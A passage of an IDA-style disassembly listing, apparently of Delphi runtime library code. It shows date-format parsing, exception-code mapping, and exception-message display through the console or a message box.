		add	ebx, 3
		jmp	short loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000ACF1:				; CODE XREF: sub_4000ABA4+13Aj
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_4000AD17
		mov	eax, edi
		mov	edx, offset dword_4000ADC4
		call	sub_40004B50
		inc	ebx
		jmp	short loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000AD17:				; CODE XREF: sub_4000ABA4+162j
		movzx	eax, byte ptr [esi+ebx-1]
		sub	al, 59h
		jz	short loc_4000AD24
		sub	al, 20h
		jnz	short loc_4000AD32


loc_4000AD24:				; CODE XREF: sub_4000ABA4+17Aj
		mov	eax, edi
		mov	edx, offset dword_4000ADD0
		call	sub_40004B50
		jmp	short loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000AD32:				; CODE XREF: sub_4000ABA4+17Ej
		lea	eax, [ebp+var_14]
		movzx	edx, byte ptr [esi+ebx-1]
		call	sub_40004A6C
		mov	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_40004B50


loc_4000AD49:				; CODE XREF: sub_4000ABA4+120j
					; sub_4000ABA4+14Bj ...
		inc	ebx


loc_4000AD4A:				; CODE XREF: sub_4000ABA4+56j
					; sub_4000ABA4+F7j
		mov	eax, esi
		call	sub_40004B44
		cmp	ebx, eax
		jle	loc_4000AC61


loc_4000AD59:				; CODE XREF: sub_4000ABA4+AAj
					; sub_4000ABA4+B8j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AD7B


loc_4000AD66:				; CODE XREF: sub_4000ABA4+1D5j
		lea	eax, [ebp+var_14]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000AD74:				; DATA XREF: sub_4000ABA4+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AD66
; ---------------------------------------------------------------------------


loc_4000AD7B:				; CODE XREF: sub_4000ABA4+1CFj
					; DATA XREF: sub_4000ABA4+1BDo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000ABA4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4000AD8C	dd 31h		dword_4000AD90	dd 6767h, 0FFFFFFFFh, 3dword_4000AD9C	dd 676767h	aYyyy_0		db 'yyyy',0             ; DATA XREF: sub_4000ABA4:loc_4000ACC9o
		align 4
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_4000ABA4+13Eo
		align 4
aYy		db 'yy',0               ; DATA XREF: sub_4000ABA4:loc_4000ACF1o
		align 4
		dd 0FFFFFFFFh, 2
dword_4000ADC4	dd 6565h, 0FFFFFFFFh, 1dword_4000ADD0	dd 65h		
; =============== S U B	R O U T	I N E =======================================



sub_4000ADD4	proc near		; CODE XREF: sub_4000ADE0+63p
		test	eax, eax
		jz	short locret_4000ADDD
		sub	eax, 1000h

locret_4000ADDD:			; CODE XREF: sub_4000ADD4+2j
		retn
sub_4000ADD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ADE0	proc near		; CODE XREF: sub_4000AF68+Fp

var_458		= byte ptr -458h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_348		= dword	ptr -348h
var_344		= byte ptr -344h
var_340		= dword	ptr -340h
var_33C		= byte ptr -33Ch
var_338		= dword	ptr -338h
var_334		= byte ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_320		= dword	ptr -320h
var_312		= byte ptr -312h
var_212		= byte ptr -212h
var_10D		= byte ptr -10Dh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp+var_330]
		push	eax
		push	ebx
		call	sub_40006648	; VirtualQuery
		cmp	[ebp+var_320], 1000h
		jnz	short loc_4000AE2A
		push	105h
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, [ebp+var_32C]
		push	eax
		call	sub_40006598	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4000AE4D


loc_4000AE2A:				; CODE XREF: sub_4000ADE0+2Cj
		push	105h
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_40006598	; GetModuleFileNameA
		mov	eax, ebx
		call	sub_4000ADD4
		mov	[ebp+var_8], eax
		jmp	short loc_4000AE56
; ---------------------------------------------------------------------------


loc_4000AE4D:				; CODE XREF: sub_4000ADE0+48j
		sub	ebx, [ebp+var_32C]
		mov	[ebp+var_8], ebx


loc_4000AE56:				; CODE XREF: sub_4000ADE0+6Bj
		lea	eax, [ebp+var_212]
		mov	dl, 5Ch
		call	sub_4000BCD0
		mov	edx, eax
		inc	edx
		lea	eax, [ebp+var_10D]
		mov	ecx, 104h
		call	sub_40008184
		mov	ebx, offset dword_4000AF60
		mov	edi, offset dword_4000AF60
		mov	eax, esi
		mov	edx, ds:off_40006DE0
		call	sub_40003E74
		test	al, al
		jz	short loc_4000AEB2
		mov	eax, [esi+4]
		call	sub_40004D48
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000815C
		test	eax, eax
		jz	short loc_4000AEB2
		cmp	byte ptr [ebx+eax-1], 2Eh
		jz	short loc_4000AEB2
		mov	edi, offset dword_4000AF64


loc_4000AEB2:				; CODE XREF: sub_4000ADE0+AFj
					; sub_4000ADE0+C4j ...
		push	100h
		lea	eax, [ebp+var_312]
		push	eax
		mov	eax, off_4001B0B8
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_4001E7F8
		call	sub_40005C08
		push	eax
		call	sub_40006738	; LoadStringA
		lea	edx, [ebp+var_458]
		mov	eax, [esi]
		call	sub_40003C6C
		lea	eax, [ebp+var_458]
		mov	[ebp+var_358], eax
		mov	[ebp+var_354], 4
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_350], eax
		mov	[ebp+var_34C], 6
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	[ebp+var_344], 5
		mov	[ebp+var_340], ebx
		mov	[ebp+var_33C], 6
		mov	[ebp+var_338], edi
		mov	[ebp+var_334], 6
		lea	eax, [ebp+var_358]
		push	eax
		push	4
		lea	ecx, [ebp+var_312]
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		call	sub_4000868C
		mov	eax, [ebp+var_4]
		call	sub_4000815C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000ADE0	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4000AF60	dd 0							; sub_4000ADE0+9Bo
dword_4000AF64	dd 2Eh		
; =============== S U B	R O U T	I N E =======================================



sub_4000AF68	proc near		; CODE XREF: sub_4000B71Cp

var_444		= byte ptr -444h
var_440		= byte ptr -440h
var_400		= byte ptr -400h

		add	esp, 0FFFFFBBCh
		push	400h
		lea	ecx, [esp+448h+var_400]
		call	sub_4000ADE0
		mov	eax, off_4001B048
		cmp	byte ptr [eax],	0
		jz	short loc_4000AFE4
		mov	eax, off_4001AF4C
		call	sub_400033D8
		call	sub_40002D5C
		lea	eax, [esp+444h+var_400]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		call	sub_40006710	; CharToOemA
		push	0
		lea	eax, [esp+448h+var_444]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		call	sub_4000815C
		push	eax
		lea	eax, [esp+450h+var_400]
		push	eax
		push	0FFFFFFF4h
		call	sub_400065B0	; GetStdHandle
		push	eax
		call	sub_40006660	; WriteFile
		push	0
		lea	eax, [esp+448h+var_444]
		push	eax
		push	2
		push	offset dword_4000B02C
		push	0FFFFFFF4h
		call	sub_400065B0	; GetStdHandle
		push	eax
		call	sub_40006660	; WriteFile
		jmp	short loc_4000B01A
; ---------------------------------------------------------------------------


loc_4000AFE4:				; CODE XREF: sub_4000AF68+1Cj
		push	40h
		lea	eax, [esp+448h+var_440]
		push	eax
		mov	eax, off_4001AF28
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_4001E7F8
		call	sub_40005C08
		push	eax
		call	sub_40006738	; LoadStringA
		push	2010h
		lea	eax, [esp+448h+var_440]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	0
		call	sub_40006740	; MessageBoxA


loc_4000B01A:				; CODE XREF: sub_4000AF68+7Aj
		add	esp, 444h
		retn
sub_4000AF68	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000B02C	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================



sub_4000B030	proc near		; CODE XREF: sub_4000B230+32p
					; sub_4000B2B0+36p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B03F
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B03F:				; CODE XREF: sub_4000B030+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_400048D8
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B064
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B064:				; CODE XREF: sub_4000B030+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000B030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B06C	proc near		; CODE XREF: sub_4000B300+77p
					; sub_4000B488+127p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B080
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B080:				; CODE XREF: sub_4000B06C+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B0C6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_400086CC
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B0CD


loc_4000B0BD:				; CODE XREF: sub_4000B06C+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B0C6:				; DATA XREF: sub_4000B06C+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B0BD
; ---------------------------------------------------------------------------


loc_4000B0CD:				; CODE XREF: sub_4000B06C+59j
					; DATA XREF: sub_4000B06C+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B0E2
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B0E2:				; CODE XREF: sub_4000B06C+65j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_4000B06C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B0EC	proc near		; CODE XREF: sub_4000B3D8+Dp
					; sub_4000B72C+Dp ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B0FB
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B0FB:				; CODE XREF: sub_4000B0EC+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_400062F0
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B120
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B120:				; CODE XREF: sub_4000B0EC+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000B0EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B128	proc near		; CODE XREF: sub_40007998+14p
					; sub_4000B230+51p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B13E
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B13E:				; CODE XREF: sub_4000B128+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B194
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_400062F0
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_400086CC
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B19B


loc_4000B186:				; CODE XREF: sub_4000B128+71j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000B194:				; DATA XREF: sub_4000B128+1Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B186
; ---------------------------------------------------------------------------


loc_4000B19B:				; CODE XREF: sub_4000B128+6Bj
					; DATA XREF: sub_4000B128+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B1B0
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B1B0:				; CODE XREF: sub_4000B128+77j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_4000B128	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B1BC	proc near		; CODE XREF: sub_40015EE4+84p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4000B1CE
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000B1CE:				; CODE XREF: sub_4000B1BC+8j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_400048D8
		mov	eax, [ebp+arg_0]
		mov	[edi+8], eax
		mov	eax, edi
		test	bl, bl
		jz	short loc_4000B1F9
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000B1F9:				; CODE XREF: sub_4000B1BC+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_4000B1BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B204	proc near		; DATA XREF: .text:40006E8Co
					; .text:40006EE8o ...
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_4000B20F
		call	sub_40003C9C

locret_4000B20F:			; CODE XREF: sub_4000B204+4j
		retn
sub_4000B204	endp

; ---------------------------------------------------------------------------
off_4000B210	dd offset dword_4000B214 ; DATA	XREF: sub_4000CC50+151r
dword_4000B214	dd 4554090Eh, 726F7272h, 8636552h, 1000000h		db 3 dup(0)
		dd offset off_40001000
		db 4
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B230	proc near		; CODE XREF: sub_4000B2B0:loc_4000B2EFp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_40002DDC
		mov	esi, eax
		jmp	short loc_4000B241
; ---------------------------------------------------------------------------


loc_4000B240:				; CODE XREF: sub_4000B230+1Dj
		inc	ebx


loc_4000B241:				; CODE XREF: sub_4000B230+Ej
		cmp	ebx, 6
		jg	short loc_4000B24F
		cmp	esi, dword_4001A91C[ebx*8]
		jnz	short loc_4000B240


loc_4000B24F:				; CODE XREF: sub_4000B230+14j
		cmp	ebx, 6
		jg	short loc_4000B269
		mov	ecx, dword_4001A920[ebx*8]
		mov	dl, 1
		mov	eax, ds:off_40006F00
		call	sub_4000B030
		jmp	short loc_4000B286
; ---------------------------------------------------------------------------


loc_4000B269:				; CODE XREF: sub_4000B230+22j
		mov	[esp+10h+var_10], esi
		mov	[esp+10h+var_C], 0
		push	esp
		push	0
		mov	ecx, off_4001AF24
		mov	dl, 1
		mov	eax, ds:off_40006F00
		call	sub_4000B128


loc_4000B286:				; CODE XREF: sub_4000B230+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000B230	endp

; ---------------------------------------------------------------------------
		align 10h
off_4000B290	dd offset dword_4000B294 ; DATA	XREF: sub_4000CC50+166r
dword_4000B294	dd 45540A0Eh, 70656378h, 63655274h, 8, 1		dd offset off_40001000
		dd 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B2B0	proc near		; CODE XREF: sub_40002D04+16p
					; DATA XREF: sub_4000B72C+33o ...
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	dl
		jz	short loc_4000B2C5
		dec	dl
		jz	short loc_4000B2CD
		dec	edx
		sub	dl, 16h
		jb	short loc_4000B2D5
		jmp	short loc_4000B2EF
; ---------------------------------------------------------------------------


loc_4000B2C5:				; CODE XREF: sub_4000B2B0+7j
		mov	edx, ds:dword_4001E91C
		jmp	short loc_4000B2F6
; ---------------------------------------------------------------------------


loc_4000B2CD:				; CODE XREF: sub_4000B2B0+Bj
		mov	edx, ds:dword_4001E920
		jmp	short loc_4000B2F6
; ---------------------------------------------------------------------------


loc_4000B2D5:				; CODE XREF: sub_4000B2B0+11j
		movzx	eax, al
		lea	eax, dword_4001A93C[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4000B030
		mov	edx, eax
		jmp	short loc_4000B2F6
; ---------------------------------------------------------------------------


loc_4000B2EF:				; CODE XREF: sub_4000B2B0+13j
		call	sub_4000B230
		mov	edx, eax


loc_4000B2F6:				; CODE XREF: sub_4000B2B0+1Bj
					; sub_4000B2B0+23j ...
		push	ebx
		mov	eax, edx
		jmp	sub_400042E4
sub_4000B2B0	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B300	proc near		; CODE XREF: sub_4000B3BC+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B39C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_4000B335
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_4000491C
		jmp	short loc_4000B342
; ---------------------------------------------------------------------------


loc_4000B335:				; CODE XREF: sub_4000B300+27j
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B038
		call	sub_400062F0


loc_4000B342:				; CODE XREF: sub_4000B300+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, off_4001B06C
		call	sub_400062F0
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_40007608
		call	sub_4000B06C
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B3A3


loc_4000B38B:				; CODE XREF: sub_4000B300+A1j
		lea	eax, [ebp+var_20]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B39C:				; DATA XREF: sub_4000B300+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B38B
; ---------------------------------------------------------------------------


loc_4000B3A3:				; CODE XREF: sub_4000B300+9Bj
					; DATA XREF: sub_4000B300+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000B300	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B3AC	proc near		; CODE XREF: sub_4000B3BC+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_400042E4
sub_4000B3AC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B3BC	proc near		; DATA XREF: sub_4000B72C+67o
					; .bss:off_4001C024o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_4000B300
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		call	sub_4000B3AC
		pop	ebp
		retn	4
sub_4000B3BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B3D8	proc near		; CODE XREF: sub_400030B4+9p
					; DATA XREF: sub_4000B72C+74o ...
		mov	ecx, off_4001AF40
		mov	dl, 1
		mov	eax, ds:off_40007668
		call	sub_4000B0EC
		call	sub_400042E4
		retn
sub_4000B3D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B3F0	proc near		; CODE XREF: sub_4000B470+5p
					; sub_4000B654+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_4000B425
		jz	short loc_4000B454
		cmp	eax, 0C000008Eh
		jg	short loc_4000B417
		jz	short loc_4000B457
		sub	eax, 0C0000005h
		jz	short loc_4000B460
		sub	eax, 87h
		jz	short loc_4000B44E
		dec	eax
		jz	short loc_4000B45D
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B417:				; CODE XREF: sub_4000B3F0+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_4000B454
		jz	short loc_4000B45A
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B425:				; CODE XREF: sub_4000B3F0+7j
		cmp	eax, 0C0000096h
		jg	short loc_4000B43D
		jz	short loc_4000B463
		sub	eax, 0C0000093h
		jz	short loc_4000B45D
		dec	eax
		jz	short loc_4000B44B
		dec	eax
		jz	short loc_4000B451
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B43D:				; CODE XREF: sub_4000B3F0+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_4000B469
		sub	eax, 3Dh
		jz	short loc_4000B466
		jmp	short loc_4000B46C
; ---------------------------------------------------------------------------


loc_4000B44B:				; CODE XREF: sub_4000B3F0+46j
		mov	al, 3
		retn
; ---------------------------------------------------------------------------


loc_4000B44E:				; CODE XREF: sub_4000B3F0+20j
		mov	al, 4
		retn
; ---------------------------------------------------------------------------


loc_4000B451:				; CODE XREF: sub_4000B3F0+49j
		mov	al, 5
		retn
; ---------------------------------------------------------------------------


loc_4000B454:				; CODE XREF: sub_4000B3F0+9j
					; sub_4000B3F0+2Fj
		mov	al, 6
		retn
; ---------------------------------------------------------------------------


loc_4000B457:				; CODE XREF: sub_4000B3F0+12j
		mov	al, 7
		retn
; ---------------------------------------------------------------------------


loc_4000B45A:				; CODE XREF: sub_4000B3F0+31j
		mov	al, 8
		retn
; ---------------------------------------------------------------------------


loc_4000B45D:				; CODE XREF: sub_4000B3F0+23j
					; sub_4000B3F0+43j
		mov	al, 9
		retn
; ---------------------------------------------------------------------------


loc_4000B460:				; CODE XREF: sub_4000B3F0+19j
		mov	al, 0Bh
		retn
; ---------------------------------------------------------------------------


loc_4000B463:				; CODE XREF: sub_4000B3F0+3Cj
		mov	al, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4000B466:				; CODE XREF: sub_4000B3F0+57j
		mov	al, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4000B469:				; CODE XREF: sub_4000B3F0+52j
		mov	al, 0Eh
		retn
; ---------------------------------------------------------------------------


loc_4000B46C:				; CODE XREF: sub_4000B3F0+25j
					; sub_4000B3F0+33j ...
		mov	al, 16h
		retn
sub_4000B3F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B470	proc near		; DATA XREF: sub_4000B72C+56o
					; .bss:off_4001C00Co
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000B3F0
		movzx	eax, al
		mov	eax, dword_4001A93C[eax*8]
		pop	ebx
		retn
sub_4000B470	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B488	proc near		; CODE XREF: sub_4000B654+52p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_125		= byte ptr -125h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B643
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_4000B4D9
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B0CC
		call	sub_400062F0
		jmp	short loc_4000B4E6
; ---------------------------------------------------------------------------


loc_4000B4D9:				; CODE XREF: sub_4000B488+40j
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B01C
		call	sub_400062F0


loc_4000B4E6:				; CODE XREF: sub_4000B488+4Fj
		mov	esi, [ebx+18h]
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	sub_40006648	; VirtualQuery
		cmp	[ebp+var_10], 1000h
		jnz	loc_4000B5B8
		push	105h
		lea	eax, [ebp+var_125]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_40006598	; GetModuleFileNameA
		test	eax, eax
		jz	loc_4000B5B8
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+var_125]
		mov	ecx, 105h
		call	sub_40004AF4
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_400080B0
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, off_4001B060
		call	sub_400062F0
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, ds:off_40007440
		call	sub_4000B06C
		mov	ebx, eax
		jmp	short loc_4000B612
; ---------------------------------------------------------------------------


loc_4000B5B8:				; CODE XREF: sub_4000B488+77j
					; sub_4000B488+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, off_4001B020
		call	sub_400062F0
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, ds:off_40007440
		call	sub_4000B06C
		mov	ebx, eax


loc_4000B612:				; CODE XREF: sub_4000B488+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B64A


loc_4000B61F:				; CODE XREF: sub_4000B488+1C0j
		lea	eax, [ebp+var_170]
